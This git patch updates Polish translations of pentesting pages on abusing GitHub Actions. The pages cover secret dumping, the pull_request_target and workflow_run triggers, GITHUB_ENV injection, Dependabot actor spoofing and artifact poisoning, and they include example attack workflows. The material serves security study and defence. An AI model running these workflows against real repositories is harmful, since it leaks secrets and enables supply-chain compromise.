From c7b0470b838ea89f38de432d991dd8969f530996 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 22:43:28 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation --- .../abusing-github-actions/README.md | 232 ++++++++--------- .../gh-actions-context-script-injections.md | 52 ++-- .../basic-github-information.md | 233 +++++++++--------- .../az-azure-ai-foundry-post-exploitation.md | 52 ++-- .../gcp-vertex-ai-post-exploitation.md | 74 +++--- .../pentesting-cloud-methodology.md | 76 +++--- 6 files changed, 360 insertions(+), 359 deletions(-) diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index 93b83c623..207d24251 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -1,58 +1,58 @@ -# Nadużywanie Github Actions +# Wykorzystywanie Github Actions {{#include ../../../banners/hacktricks-training.md}} -## Narzędzia +## Tools -The following tools are useful to find Github Action workflows and even find vulnerable ones: +Następujące narzędzia pomagają znaleźć Github Action workflows i nawet wykryć podatne na atak: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) -- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) +- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Sprawdź też checklistę pod adresem [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) -## Podstawowe informacje +## Basic Information Na tej stronie znajdziesz: -- A **summary of all the impacts** of an attacker managing to access a Github Action -- Różne sposoby, aby **uzyskać dostęp do akcji**: -- Posiadanie **permissions** do utworzenia akcji +- **Podsumowanie wszystkich skutków** dla atakującego, który uzyska dostęp do Github Action +- Różne sposoby, by **uzyskać dostęp do action**: +- Posiadanie **permissions** do utworzenia action - Nadużywanie triggerów związanych z **pull request** - Nadużywanie **other external access** techniques - **Pivoting** z już skompromitowanego repo -- Na koniec sekcja o **post-exploitation techniques to abuse an action from inside** (wywołać wymienione skutki) +- Na końcu sekcja o **post-exploitation techniques to abuse an action from inside** (spowodować wymienione skutki) -## Podsumowanie skutków +## Impacts Summary For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions). -Jeśli możesz **execute arbitrary code in GitHub Actions** w ramach **repository**, możesz być w stanie: +Jeśli możesz **wykonać dowolny kod w GitHub Actions** w obrębie **repozytorium**, możesz: -- **Steal secrets** zamontowane w pipeline i **abuse the pipeline's privileges** aby uzyskać nieautoryzowany dostęp do zewnętrznych platform, takich jak AWS i GCP. -- **Compromise deployments** i inne **artifacts**. -- Jeśli pipeline wdraża lub przechowuje zasoby, możesz zmodyfikować finalny produkt, umożliwiając supply chain attack. -- **Execute code in custom workers** aby nadużyć mocy obliczeniowej i pivotować do innych systemów. +- **Steal secrets** zamontowanych w pipeline i **abuse the pipeline's privileges** w celu uzyskania nieautoryzowanego dostępu do zewnętrznych platform, takich jak AWS i GCP. +- **Compromise deployments** i innych **artifacts**. +- Jeśli pipeline wdraża lub przechowuje zasoby, możesz zmienić finalny produkt, umożliwiając supply chain attack. +- **Execute code in custom workers** w celu nadużycia mocy obliczeniowej i pivotowania do innych systemów. - **Overwrite repository code**, w zależności od uprawnień związanych z `GITHUB_TOKEN`. ## GITHUB_TOKEN -This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option: +This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) jest przyznawany, gdy administrator włączy tę opcję:
-This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +Ten token jest tym samym, którego użyje **Github Application**, więc może uzyskać dostęp do tych samych endpointów: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. +> Github powinien udostępnić [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access w obrębie GitHub, więc repo może uzyskać dostęp do innych wewnętrznych repozytoriów używając `GITHUB_TOKEN`. -Możesz zobaczyć możliwe **permissions** tego tokena pod adresem: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) +Możesz zobaczyć możliwe **permissions** tego tokena tutaj: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -Zauważ, że token **expires after the job has completed**.\ +Zauważ, że token **wygasa po zakończeniu joba**.\ Takie tokeny wyglądają tak: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -Kilka ciekawych rzeczy, które możesz zrobić z tym tokenem: +Kilka interesujących rzeczy, które możesz zrobić z tym tokenem: {{#tabs }} {{#tab name="Merge PR" }} @@ -91,11 +91,11 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> Zwróć uwagę, że w niektórych przypadkach możesz znaleźć **github user tokens inside Github Actions envs or in the secrets**. Te tokeny mogą dać ci większe uprawnienia w repozytorium i organizacji. +> Zwróć uwagę, że w kilku przypadkach możesz znaleźć **github user tokens inside Github Actions envs or in the secrets**. Tokeny te mogą dać ci więcej uprawnień względem repozytorium i organizacji.
-Wyświetl sekrety w output Github Action +List secrets in Github Action output ```yaml name: list_env on: @@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-Można sprawdzić uprawnienia przyznane Github Token w repozytoriach innych użytkowników, **sprawdzając logi** akcji: +Możliwe jest sprawdzenie uprawnień przypisanych do Github Token w repozytoriach innych użytkowników poprzez **sprawdzenie logów Github actions**:
## Dozwolone wykonanie > [!NOTE] -> Byłby to najprostszy sposób na przejęcie Github actions, ponieważ ten przypadek zakłada, że masz dostęp do **create a new repo in the organization**, albo masz **write privileges over a repository**. +> To byłby najprostszy sposób na przejęcie Github actions, ponieważ ten scenariusz zakłada, że masz dostęp do **utworzenia nowego repozytorium w organizacji**, lub masz **uprawnienia zapisu do repozytorium**. > -> Jeśli znajdujesz się w takim scenariuszu, możesz po prostu sprawdzić [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action). +> Jeśli jesteś w takiej sytuacji, możesz po prostu sprawdzić [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action). -### Wykonanie poprzez utworzenie repozytorium +### Wykonanie przez utworzenie repozytorium -Jeżeli członkowie organizacji mogą **create new repos** i możesz uruchamiać github actions, możesz **create a new repo and steal the secrets set at organization level**. +Jeżeli członkowie organizacji mogą **create new repos** i potrafisz uruchamiać Github actions, możesz **utworzyć nowe repozytorium i ukraść secrets ustawione na poziomie organizacji**. ### Wykonanie z nowej gałęzi -Jeśli możesz **create a new branch in a repository that already contains a Github Action** skonfigurowaną, możesz ją **modify**, **upload** zawartość, a następnie **execute that action from the new branch**. W ten sposób możesz **exfiltrate repository and organization level secrets** (ale musisz wiedzieć, jak się one nazywają). +Jeśli możesz **utworzyć nową gałąź w repozytorium, które już zawiera skonfigurowany Github Action**, możesz ją **zmodyfikować**, **wgrać** zawartość, a następnie **uruchomić tę akcję z nowej gałęzi**. W ten sposób możesz **exfiltrate repository and organization level secrets** (ale musisz wiedzieć, jak się nazywają). > [!WARNING] -> Jakiekolwiek ograniczenie zaimplementowane wyłącznie wewnątrz workflow YAML (na przykład, `on: push: branches: [main]`, job conditionals, lub manual gates) może być edytowane przez współpracowników. Bez zewnętrznego egzekwowania (branch protections, protected environments, and protected tags), współpracownik może przekierować workflow, aby uruchomić je na swojej gałęzi i nadużyć zamontowanych secrets/permissions. +> Każde ograniczenie zaimplementowane wyłącznie wewnątrz workflow YAML (na przykład, `on: push: branches: [main]`, warunki jobów lub bramki manualne) może zostać zmienione przez współpracowników. Bez zewnętrznego wymuszenia (branch protections, protected environments, and protected tags), contributor może skierować workflow tak, by uruchomić go na swojej gałęzi i nadużyć zamontowanych secrets/permissions. -Możesz sprawić, że zmodyfikowana akcja będzie wykonywalna **manually,** gdy **PR is created** lub gdy **some code is pushed** (w zależności od tego, jak głośno chcesz działać): +Możesz uczynić zmodyfikowaną akcję wykonywalną **ręcznie,** gdy **PR zostanie utworzony** lub gdy **jakiś kod zostanie pushed** (w zależności od tego, jak bardzo chcesz być głośny): ```yaml on: workflow_dispatch: # Launch manually @@ -180,49 +180,49 @@ branches: ``` --- -## Wykonanie z forka +## Wykonanie z forków > [!NOTE] -> Istnieją różne wyzwalacze, które mogą pozwolić atakującemu na **execute a Github Action of another repository**. Jeśli te wyzwalacze są źle skonfigurowane, atakujący może je przejąć. +> Istnieją różne wyzwalacze, które mogą pozwolić atakującemu na **execute a Github Action of another repository**. Jeśli te wyzwalane akcje są źle skonfigurowane, atakujący może być w stanie je przejąć. ### `pull_request` -Wyzwalacz workflow **`pull_request`** uruchomi workflow za każdym razem, gdy zostanie otrzymane pull request, z pewnymi wyjątkami: domyślnie, jeśli to jest **pierwszy raz**, że współpracujesz, jakiś **maintainer** będzie musiał **zatwierdzić** **uruchomienie** workflow: +Wyzwalacz workflow **`pull_request`** uruchomi workflow za każdym razem, gdy pojawi się pull request, z pewnymi wyjątkami: domyślnie, jeśli to jest **pierwszy raz**, gdy **współpracujesz**, jakiś **maintainer** będzie musiał **zatwierdzić** **uruchomienie** workflow:
> [!NOTE] -> Ponieważ **domyślne ograniczenie** dotyczy **pierwszych** contributorów, możesz przyczynić się, **poprawiając prawdziwy bug/typo**, a następnie wysyłać **inne PRy, aby nadużyć swoich nowych uprawnień `pull_request`**. +> Ponieważ **domyślne ograniczenie** dotyczy **kontrybutorów po raz pierwszy**, możesz wysłać poprawkę naprawiającą ważny błąd/typo, a następnie wysyłać **inne PR-y**, aby nadużyć swoich nowych przywilejów `pull_request`. > -> **Przetestowałem to i to nie działa**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~ +> **Przetestowałem to i to nie działa**: ~~Inną opcją byłoby utworzenie konta z nazwą kogoś, kto przyczynił się do projektu i usunął swoje konto.~~ -Co więcej, domyślnie zabrania nadawania uprawnień zapisu i dostępu do sekretów w repozytorium docelowym, jak wspomniano w [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Co więcej, domyślnie **blokowane są uprawnienia do zapisu** i **dostęp do sekretów** w repo docelowym, jak wspomniano w [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): -> Z wyjątkiem `GITHUB_TOKEN`, **sekrety nie są przekazywane do runnera** gdy workflow jest wywoływany z **forked** repozytorium. **`GITHUB_TOKEN` ma uprawnienia tylko do odczytu** w pull requestach **z forked repositories**. +> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. -Atakujący mógłby zmodyfikować definicję Github Action, żeby wykonywać dowolne rzeczy i dołączać arbitralne akcje. Jednak nie będzie w stanie ukraść sekretów ani nadpisać repo z powodu wspomnianych ograniczeń. +Atakujący mógłby zmodyfikować definicję Github Action, aby wykonać dowolne polecenia i dodać dodatkowe akcje. Jednak nie będzie w stanie ukraść sekretów ani nadpisać repo z powodu wspomnianych ograniczeń. > [!CAUTION] -> **Tak — jeśli atakujący zmieni w PR Github Action, która ma zostać uruchomiona, to jego Github Action będzie użyta, a nie ta z repo źródłowego!** +> **Tak, jeśli atakujący zmieni w PR github action, które zostanie wyzwolone, jego Github Action będzie użyte zamiast tego z repozytorium źródłowego!** -Ponieważ atakujący kontroluje także wykonywany kod, nawet jeśli nie ma sekretów ani uprawnień zapisu do `GITHUB_TOKEN`, atakujący może np. **upload malicious artifacts**. +Ponieważ atakujący kontroluje także kod, który jest wykonywany, nawet jeśli nie ma sekretów ani uprawnień zapisu na `GITHUB_TOKEN`, atakujący mógłby na przykład **przesłać złośliwe artefakty**. ### **`pull_request_target`** -Wyzwalacz workflow **`pull_request_target`** ma **write permission** do repozytorium docelowego oraz **access to secrets** (i nie wymaga zatwierdzenia). +Wyzwalacz workflow **`pull_request_target`** ma **uprawnienia do zapisu** w repo docelowym i **dostęp do sekretów** (i nie wymaga zatwierdzenia). -Zauważ, że wyzwalacz workflow **`pull_request_target`** **uruchamia się w kontekście bazowym** a nie w tym dostarczonym przez PR (żeby **nie wykonywać niesprawdzonego kodu**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +Zwróć uwagę, że wyzwalacz workflow **`pull_request_target`** **uruchamia się w kontekście base**, a nie w tym dostarczonym przez PR (aby **nie uruchamiać nieufnego kodu**). Po więcej informacji o `pull_request_target` [**sprawdź docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Dodatkowo, po więcej informacji o tym specyficznie niebezpiecznym użyciu, zobacz ten [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -Może się wydawać, że ponieważ **uruchamiany workflow** jest tym zdefiniowanym w **base**, a **nie w PR**, użycie **`pull_request_target`** jest **bezpieczne**, ale istnieje **kilka przypadków, w których tak nie jest**. +Może się wydawać, że ponieważ **wykonywany workflow** jest tym zdefiniowanym w **base**, a **nie w PR**, użycie **`pull_request_target`** jest **bezpieczne**, ale istnieje **kilka przypadków, w których tak nie jest**. -A ten będzie miał **access to secrets**. +A ten będzie miał **dostęp do sekretów**. ### `workflow_run` -The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`. +Wyzwalacz [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) pozwala uruchomić workflow z innego, gdy ten jest `completed`, `requested` lub `in_progress`. -W tym przykładzie workflow jest skonfigurowany tak, aby uruchamiać się po zakończeniu osobnego "Run Tests" workflow: +W tym przykładzie workflow jest skonfigurowany do uruchomienia po zakończeniu oddzielnego workflow "Run Tests": ```yaml on: workflow_run: @@ -230,29 +230,29 @@ workflows: [Run Tests] types: - completed ``` -Co więcej, zgodnie z dokumentacją: workflow uruchomiony przez zdarzenie `workflow_run` może **uzyskać dostęp do sekretów i zapisywać tokeny, nawet jeśli poprzedni workflow tego nie mógł**. +Co więcej, zgodnie z dokumentacją: Workflow uruchomiony przez zdarzenie `workflow_run` może **uzyskać dostęp do secrets i zapisać tokens, nawet jeśli poprzedni workflow tego nie robił**. -Taki workflow może być zaatakowany, jeśli **zależy** od **workflow**, który może zostać **wyzwolony** przez zewnętrznego użytkownika za pomocą **`pull_request`** lub **`pull_request_target`**. Kilka podatnych przykładów można znaleźć w [**tym blogu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Pierwszy polega na tym, że workflow uruchamiany przez **`workflow_run`** pobiera kod atakującego: `${{ github.event.pull_request.head.sha }}`. -Drugi polega na **przekazaniu** **artefaktu** z **niezaufanego** kodu do workflow **`workflow_run`** i użyciu zawartości tego artefaktu w sposób, który czyni go **podatnym na RCE**. +Taki workflow może zostać zaatakowany, jeśli **zależy** od **workflow**, które może być **wyzwolone** przez zewnętrznego użytkownika poprzez **`pull_request`** lub **`pull_request_target`**. Kilka podatnych przykładów można [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Pierwszy polega na tym, że workflow wyzwolony przez **`workflow_run`** pobiera kod atakującego: `${{ github.event.pull_request.head.sha }}` +Drugi polega na **przekazaniu** **artifact** z **untrusted** kodu do workflow **`workflow_run`** i użyciu zawartości tego artifact w sposób, który czyni go podatnym na **RCE**. ### `workflow_call` TODO -TODO: Sprawdzić, czy gdy jest uruchamiany z pull_request używany/pobrany kod pochodzi z repozytorium źródłowego czy z forka PR +TODO: Sprawdzić, czy gdy jest uruchamiany z `pull_request`, używany/pobrany kod pochodzi z origin czy z forkowanego PR -## Nadużywanie wykonania z forków +## Abusing Forked Execution -Wspomnieliśmy wszystkie sposoby, w jakie zewnętrzny atakujący może spowodować uruchomienie workflow GitHub; teraz przyjrzyjmy się, jak takie uruchomienia, jeśli są źle skonfigurowane, mogą być nadużyte: +Wspomnieliśmy wszystkie sposoby, w jakie zewnętrzny atakujący może spowodować wykonanie GitHub workflow, teraz przyjrzyjmy się, jak te wykonania, jeśli są źle skonfigurowane, mogą być nadużyte: -### Wykonanie checkoutu z niezatwierdzonego źródła +### Untrusted checkout execution -W przypadku **`pull_request`** workflow zostanie wykonany w **kontekście PR** (czyli wykona **złośliwy kod PR**), ale ktoś musi go najpierw **autoryzować** i będzie działał z pewnymi [ograniczeniami](#pull_request). +W przypadku **`pull_request`**, workflow zostanie uruchomiony w **kontekście PR** (czyli wykona **złośliwy kod PR**), ale ktoś musi go najpierw **autoryzować** i będzie on działał z pewnymi [ograniczeniami](#pull_request). -W przypadku workflow używającego **`pull_request_target` or `workflow_run`**, który zależy od workflow, który może być wyzwolony przez **`pull_request_target` or `pull_request`**, zostanie wykonany kod z oryginalnego repozytorium, więc **atakujący nie może kontrolować wykonywanego kodu**. +W przypadku workflow używającego **`pull_request_target` or `workflow_run`**, które zależy od workflow, które można wywołać z **`pull_request_target` or `pull_request`**, wykonany zostanie kod z oryginalnego repozytorium, więc **atakujący nie może kontrolować wykonywanego kodu**. > [!CAUTION] -> Jednak, jeśli **action** ma **jawny checkout PR**, który **pobrać kod z PR** (a nie z base), użyje kodu kontrolowanego przez atakującego. Na przykład (sprawdź linię 12 gdzie pobierany jest kod PR): +> Jednak, jeśli **action** ma **jawny PR checkout**, który **pobierze kod z PR** (a nie z base), użyje kodu kontrolowanego przez atakującego. Na przykład (sprawdź linię 12, gdzie pobierany jest kod PR): 
# INSECURE. Provided as an example only.
 on:
@@ -282,32 +282,32 @@ message: |
 Thank you!
-Potencjalnie **niezaufany kod jest uruchamiany podczas `npm install` lub `npm build`**, ponieważ skrypty builda i odwoływane pakiety są kontrolowane przez autora PR. +Potencjalnie **nieufny kod jest uruchamiany podczas `npm install` lub `npm build`**, ponieważ skrypty builda i odwołane **packages są kontrolowane przez autora PR**. > [!WARNING] -> GitHub dork do wyszukiwania podatnych actionów to: `event.pull_request pull_request_target extension:yml` jednak istnieją różne sposoby skonfigurowania jobów, tak aby były wykonywane bezpiecznie nawet jeśli action jest skonfigurowana niebezpiecznie (np. używając warunków dotyczących tego, kto jest aktorem generującym PR). +> Github dork do wyszukiwania podatnych actions to: `event.pull_request pull_request_target extension:yml` jednak istnieją różne sposoby skonfigurowania jobs, aby wykonywały się bezpiecznie nawet jeśli action jest źle skonfigurowany (np. używając warunków określających, kto jest actor generujący PR). -### Wstrzyknięcia skryptów kontekstowych +### Context Script Injections -Zwróć uwagę, że istnieją pewne [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context), których wartości są **kontrolowane** przez **użytkownika** tworzącego PR. Jeśli github action używa tych **danych do wykonania czegokolwiek**, może to doprowadzić do **dowolnego wykonania kodu:** +Należy zauważyć, że istnieją pewne [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context), których wartości są **kontrolowane** przez **użytkownika** tworzącego PR. Jeśli github action używa tych **danych do wykonania czegokolwiek**, może to doprowadzić do **dowolnego wykonania kodu:** {{#ref}} gh-actions-context-script-injections.md {{#endref}} -### **GITHUB_ENV Wstrzyknięcie skryptu** +### **GITHUB_ENV Script Injection** -Zgodnie z dokumentacją: Możesz udostępnić **zmienną środowiskową dla dowolnych kolejnych kroków** w jobie workflow, definiując lub aktualizując zmienną środowiskową i zapisując to do pliku środowiskowego **`GITHUB_ENV`**. +Z dokumentacji: Możesz uczynić **zmienną środowiskową dostępną dla dowolnych kolejnych kroków** w jobie workflow, definiując lub aktualizując zmienną środowiskową i zapisując ją do pliku środowiskowego **`GITHUB_ENV`**. -Jeżeli atakujący będzie mógł **wstrzyknąć dowolną wartość** do tej zmiennej środowiskowej, mógłby wstrzyknąć zmienne środowiskowe, które umożliwią wykonanie kodu w kolejnych krokach, takie jak **LD_PRELOAD** lub **NODE_OPTIONS**. +Jeśli atakujący mógłby **wstrzyknąć dowolną wartość** do tej **zmiennej env**, mógłby wstrzyknąć zmienne środowiskowe, które uruchomią kod w kolejnych krokach, takie jak **LD_PRELOAD** lub **NODE_OPTIONS**. -Na przykład ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) i [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), wyobraź sobie workflow, który ufa przesłanemu artefaktowi, aby zapisać jego zawartość w zmiennej środowiskowej **`GITHUB_ENV`**. Atakujący mógłby przesłać coś takiego, aby to skompromitować: +Na przykład ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) i [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), wyobraź sobie workflow, które ufa przesłanemu artifact i zapisuje jego zawartość do zmiennej środowiskowej **`GITHUB_ENV`**. Atakujący mógłby przesłać coś takiego, aby to przejąć:
-### Dependabot i inne zaufane boty +### Dependabot and other trusted bots -Jak wskazano w [**tym wpisie na blogu**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), kilka organizacji ma Github Action, która scala każdy PRR od `dependabot[bot]` jak w: +Jak wskazano w [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), kilka organizacji ma GitHub Action, który merge'uje każdy PR od `dependabot[bot]`, jak w: ```yaml on: pull_request_target jobs: @@ -317,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: gh pr merge $ -d -m ``` -To stanowi problem, ponieważ pole `github.actor` zawiera użytkownika, który spowodował ostatnie zdarzenie wywołujące workflow. Istnieje kilka sposobów, by spowodować, że użytkownik `dependabot[bot]` zmodyfikuje PR. Na przykład: +Co stanowi problem, ponieważ pole `github.actor` zawiera użytkownika, który spowodował ostatnie zdarzenie wyzwalające workflow. Istnieje kilka sposobów, aby sprawić, by użytkownik `dependabot[bot]` zmodyfikował PR. Na przykład: -- Fork repozytorium ofiary +- Fork the victim repository - Dodaj złośliwy payload do swojej kopii -- Włącz Dependabot w swoim forku, dodając przestarzałą zależność. Dependabot utworzy branch naprawiający zależność z złośliwym kodem. -- Otwórz Pull Request do repozytorium ofiary z tej gałęzi (PR zostanie utworzony przez użytkownika, więc na razie nic się nie stanie) -- Następnie atakujący wraca do początkowego PR, który Dependabot otworzył w jego forku i uruchamia `@dependabot recreate` -- Następnie Dependabot wykonuje pewne akcje na tej gałęzi, które modyfikują PR w repozytorium ofiary, co sprawia, że `dependabot[bot]` staje się aktorem ostatniego zdarzenia wywołującego workflow (i w związku z tym workflow zostaje uruchomiony). +- Włącz Dependabot na swoim fork, dodając przestarzałą zależność. Dependabot utworzy branch naprawiający zależność ze złośliwym kodem. +- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet) +- Następnie atakujący wraca do początkowego PR, który Dependabot otworzył w jego fork i uruchamia `@dependabot recreate` +- Wtedy Dependabot wykonuje pewne akcje w tym branchu, które modyfikują PR w repo ofiary, co sprawia, że `dependabot[bot]` jest aktorem ostatniego zdarzenia wywołującego workflow (i w rezultacie workflow się uruchamia). -Idąc dalej — co jeśli zamiast merge'owania, Github Action miałby command injection, jak w: +Przechodząc dalej, co jeśli zamiast merge'a Github Action miałby command injection, jak w: ```yaml on: pull_request_target jobs: @@ -338,22 +338,22 @@ steps: ``` Cóż, oryginalny wpis na blogu proponuje dwie opcje nadużycia tego zachowania, z których druga to: -- Fork the victim repository and enable Dependabot with some outdated dependency. -- Create a new branch with the malicious shell injeciton code. -- Change the default branch of the repo to that one -- Create a PR from this branch to the victim repository. -- Run `@dependabot merge` in the PR Dependabot opened in his fork. -- Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name. +- Utwórz fork repozytorium ofiary i włącz Dependabot z jakąś przestarzałą zależnością. +- Utwórz nowy branch ze złośliwym kodem shell injection. +- Zmień domyślny branch repo na ten. +- Stwórz PR z tego brancha do repozytorium ofiary. +- Uruchom `@dependabot merge` w PR, który Dependabot otworzył w jego fork. +- Dependabot zmerguje jego zmiany do domyślnego brancha twojego forkowanego repozytorium, aktualizując PR w repozytorium ofiary, sprawiając, że `dependabot[bot]` będzie aktorem ostatniego zdarzenia, które wywołało workflow, i używając złośliwej nazwy brancha. -### Podatne Github Actions stron trzecich +### Wrażliwe Github Actions stron trzecich #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -Jak wspomniano w [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ta Github Action pozwala uzyskać dostęp do artifacts z różnych workflows, a nawet repositories. +As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories. -Problem polega na tym, że jeśli parametr **`path`** nie jest ustawiony, artifact zostanie rozpakowany w bieżącym katalogu i może nadpisać pliki, które później mogą być użyte lub nawet wykonane w workflow. W związku z tym, jeśli Artifact jest podatny, atakujący może to wykorzystać do kompromitacji innych workflows, które ufają temu Artifact. +Problem polega na tym, że jeśli parametr **`path`** nie jest ustawiony, artifact jest rozpakowywany w bieżącym katalogu i może nadpisać pliki, które później mogą być użyte lub nawet wykonane w workflow. W związku z tym, jeśli artifact jest podatny, atakujący może to wykorzystać do kompromitacji innych workflows, które ufają temu artifactowi. -Example of vulnerable workflow: +Przykład podatnego workflow: ```yaml on: workflow_run: @@ -376,7 +376,7 @@ with: name: artifact path: ./script.py ``` -To można zaatakować przy użyciu tego workflow: +Można to zaatakować przy użyciu tego workflow: ```yaml name: "some workflow" on: pull_request @@ -395,12 +395,12 @@ path: ./script.py ## Inny dostęp zewnętrzny -### Usunięta przestrzeń nazw — Repo Hijacking +### Deleted Namespace Repo Hijacking -If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted. +If an account changes it's name another user could register an account with that name after some time. If a repository had **mniej niż 100 stars przed zmianą nazwy**, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted. > [!CAUTION] -> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action. +> Jeśli action używa repo z nieistniejącego konta, nadal możliwe jest, że attacker utworzy to konto i przejmie action. If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) @@ -409,11 +409,11 @@ If other repositories where using **dependencies from this user repos**, an atta ## Repo Pivoting > [!NOTE] -> W tej sekcji omówimy techniki, które pozwolą **pivot z jednego repo do drugiego**, zakładając, że mamy jakiś rodzaj dostępu do pierwszego (sprawdź poprzednią sekcję). +> W tej sekcji omówimy techniki, które pozwolą **pivot from one repo to another**, zakładając, że mamy jakiś rodzaj access do pierwszego (zobacz poprzednią sekcję). ### Cache Poisoning -Cache jest utrzymywany między uruchomieniami workflow w tej samej branch. To oznacza, że jeśli atakujący **skompromituje** **package**, który zostanie następnie zapisany w cache i pobrany oraz wykonany przez bardziej uprzywilejowany workflow, będzie mógł również skompromitować ten workflow. +A cache is maintained between **workflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow. {{#ref}} gh-actions-cache-poisoning.md @@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md ### Artifact Poisoning -Workflows mogą używać **artifacts z innych workflows i nawet repos**, jeśli atakujący zdoła **skompromitować** Github Action, która **uploaduje artifact**, który jest później użyty przez inny workflow, to może **skompromitować te inne workflows**: +Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**: {{#ref}} gh-actions-artifact-poisoning.md @@ -470,13 +470,13 @@ Sprawdź następujące strony: ### Dostęp do sekretów -Jeśli wstrzykujesz zawartość do skryptu, warto wiedzieć, jak możesz uzyskać dostęp do sekretów: +Jeśli wstrzykujesz zawartość do skryptu, warto wiedzieć, jak uzyskać dostęp do sekretów: -- Jeśli sekret lub token jest ustawiony jako **environment variable**, można go bezpośrednio odczytać z environment przy użyciu **`printenv`**. +- Jeśli sekret lub token jest ustawiony jako **environment variable**, można uzyskać do niego bezpośredni dostęp przez środowisko używając **`printenv`**.
